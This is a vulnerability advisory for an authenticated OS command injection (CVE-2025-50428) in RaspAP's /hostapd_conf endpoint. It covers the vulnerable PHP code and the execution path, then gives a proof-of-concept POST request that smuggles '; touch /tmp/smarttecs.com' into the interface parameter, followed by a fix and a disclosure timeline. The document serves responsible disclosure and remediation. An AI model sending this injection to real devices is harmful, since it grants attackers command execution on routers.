Hero Image of content

Advisory - Authenticated OS Command Injection in RaspAP (CVE-2025-50428)

Overview

Product Description

RaspAP [1] is a feature-rich wireless router software designed for various Debian-based devices, including the Raspberry Pi. It provides a default configuration for all current Raspberry Pi models with onboard wireless capabilities.

Its web-based interface allows users to configure networking services, including:

  • Advanced DHCP settings
  • WireGuard and OpenVPN support
  • SSL certificates
  • Ad blocking
  • Security audits
  • Captive portal integration
  • Theming and multilingual support

Issue Description

An authenticated user can modify the hotspot configuration and start a hotspot using the /hostapd_conf endpoint. The function DisplayHostAPDConfig() in includes/hostapd.php is executed when the configuration is saved.

A POST request to this endpoint requires at least the following parameters:

  • SaveHostAPDSettings
  • csrf_token
  • wpa
  • wpa_pairwise
  • hw_mode
  • interface

However, the interface parameter is vulnerable to OS command injection due to improper sanitization. When SaveHostAPDSettings is set to true, the function SaveHostAPDConfig() is called. This function validates wpa, wpa_pairwise, and hw_mode, but it does not check the interface parameter.

Vulnerable Code (includes/hostapd.php)

function SaveHostAPDConfig($wpa_array, $enc_types, $modes, $interfaces, $reg_domain, $status)
{
    // It should not be possible to send bad data for these fields. 
    // If wpa fields are absent, return false and log securely.
    if (!(array_key_exists($_POST['wpa'], $wpa_array) 
        && array_key_exists($_POST['wpa_pairwise'], $enc_types) 
        && array_key_exists($_POST['hw_mode'], $modes))
    ) {
        $err  = "Attempting to set hostapd config with wpa='".escapeshellarg($_POST['wpa']);
        $err .= "', wpa_pairwise='".$escapeshellarg(_POST['wpa_pairwise']);
        $err .= "and hw_mode='".$escapeshellarg(_POST['hw_mode'])."'";
        error_log($err);
        return false;
    }
    // Validate input
    $good_input = true;

[TRUNCATED]

    // set AP interface default, override for ap-sta & bridged options
    $ap_iface = $_POST['interface']; // the hostap AP interface
    $cli_iface = $_POST['interface']; // the wifi client interface
    $session_iface = $_POST['interface']; // the interface that the UI needs to monitor for data usage etc.
    if ($wifiAPEnable) { // for AP-STA we monitor the uap0 interface, which is always the ap interface.
        $ap_iface = 'uap0';
        $session_iface = 'uap0';
    }
    if ($bridgedEnable) { // for bridged mode we monitor the bridge, but keep the selected interface as AP.
        $session_iface = 'br0';
        $cli_iface = 'br0';
    }

    // persist user options to /etc/raspap
    $cfg = [];
    $cfg['WifiInterface'] = $ap_iface;
    $cfg['LogEnable'] = $logEnable;
    // Save previous Client mode status when Bridged
    $cfg['WifiAPEnable'] = ($bridgedEnable == 1 ? $arrHostapdConf['WifiAPEnable'] : $wifiAPEnable);
    $cfg['BridgedEnable'] = $bridgedEnable;
    $cfg['WifiManaged'] = $cli_iface;
    write_php_ini($cfg, RASPI_CONFIG.'/hostapd.ini');
    $_SESSION['ap_interface'] = $session_iface;

The value of the interface parameter is written directly into /hostapd.ini and $_SESSION['ap_interface'], which leads to command injection when the endpoint is accessed again.

Code Execution Path

When /hostapd_conf is called again, getWifiInterface() loads the previously saved interface name from /hostapd.ini, storing it in $_SESSION['ap_interface']:

<?php

require_once 'includes/wifi_functions.php';
require_once 'includes/config.php';

getWifiInterface();
function getWifiInterface()
{
        $arrHostapdConf = parse_ini_file(RASPI_CONFIG.'/hostapd.ini');
        $iface = $_SESSION['ap_interface'] = isset($arrHostapdConf['WifiInterface']) ?  $arrHostapdConf['WifiInterface'] : RASPI_WIFI_AP_INTERFACE;
        // check for 2nd wifi interface -> wifi client on different interface
        exec("iw dev | awk '$1==\"Interface\" && $2!=\"$iface\" {print $2}'",$iface2);
        $client_iface = $_SESSION['wifi_client_interface'] = (empty($iface2) ? $iface : trim($iface2[0]));

The OS command injection occurs in multiple places where system commands are executed using the vulnerable $_SESSION['ap_interface'] and $_SESSION['wifi_client_interface']:

Example 1: Command Injection in DisplayHostAPDConfig()

    $reg_domain = shell_exec("iw reg get | grep -o 'country [A-Z]\{2\}' | awk 'NR==1{print $2}'");

    $cmd = "iw dev ".$_SESSION['ap_interface']." info | awk '$1==\"txpower\" {print $2}'";
    exec($cmd, $txpower);

Example 2: Command Injection in wifi_functions.php

exec('cat '. RASPI_HOSTAPD_CONFIG, $hostapdconfig);
    if (isset($_SESSION['wifi_client_interface'])) {
        exec('iwgetid '.$_SESSION['wifi_client_interface']. ' -r', $wifiNetworkID);
        if (!empty($wifiNetworkID[0])) {
            $managedModeEnabled = true;
        }
    }

Since no input sanitization is applied, an attacker can inject arbitrary shell commands.

CVSS Score

8.6 / High / CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Proof of Concept

Run the following request twice with valid PHPSESSID and csrf_token values:

POST /hostapd_conf HTTP/1.1
Host: 192.168.122.21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=hu1q8s3srp73t0t3ni6s8pfncp; theme=custom.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 158

SaveHostAPDSettings=true&csrf_token=e04a92497ccad0cb056ae2ca9d44538a206bb93b2c816d52df44c95611758867&wpa=2&wpa_pairwise=CCMP&hw_mode=n&interface=';+touch+/tmp/smarttecs.com

Our proof of concept code is available on GitHub [2].

Command Injection Proof of Concept

Solution / Workaround

Validation Function

Introduce a function that validates the provided interface name against real network interfaces.

function validateInterface($interface) {
    // Retrieve all available network interfaces
    $valid_interfaces = shell_exec('ip -o link show | awk -F": " \'{print $2}\'');
    $valid_interfaces = explode("\n", trim($valid_interfaces));

    // Check if the provided interface exists in the list
    return in_array($interface, $valid_interfaces, true);
}
$iface = $_SESSION['ap_interface'] = isset($arrHostapdConf['WifiInterface']) ?  
    $arrHostapdConf['WifiInterface'] : RASPI_WIFI_AP_INTERFACE;

+ if (!validateInterface($iface)) {
+     $iface = RASPI_WIFI_AP_INTERFACE;
+ }

Apply the Fix

Modify hostapd.php and wifi_functions.php to validate and sanitize user input:

- $cmd = "iw dev ".$_SESSION['ap_interface']." info | awk '$1==\"txpower\" {print $2}'";
+ $cmd = "iw dev ".escapeshellarg($_SESSION['ap_interface'])." info | awk '$1==\"txpower\" {print $2}'";

- exec('iwgetid '.$_SESSION['wifi_client_interface']. ' -r', $wifiNetworkID);
+ exec('iwgetid '.escapeshellarg($_SESSION['wifi_client_interface']). ' -r', $wifiNetworkID);

🛡️ CVE Disclosure Timeline

  • 2025-03-09: Vulnerability discovered
  • 2025-03-10: Initial disclosure sent to the vendor via their GitHub Security Advisory page
  • 2025-03-30: Follow-up reminder sent after no response from the vendor
  • 2025-04-12: Vendor responds and requests submission of a pull request with a fix
  • 2025-04-23: Fix submitted as Pull Request #1833 to the RaspAP GitHub repository
  • 2025-04-24: CVE ID request
  • 2025-08-12: CVE ID received
  • 2025-08-13: Blog post published

References

[1] Official RaspAP Webpage, RaspAP, Available at: https://raspap.com/
[2] SmartTECS GitHub PoC Repository, GitHub, Available at: https://github.com/security-smarttecs/cve-2025-50428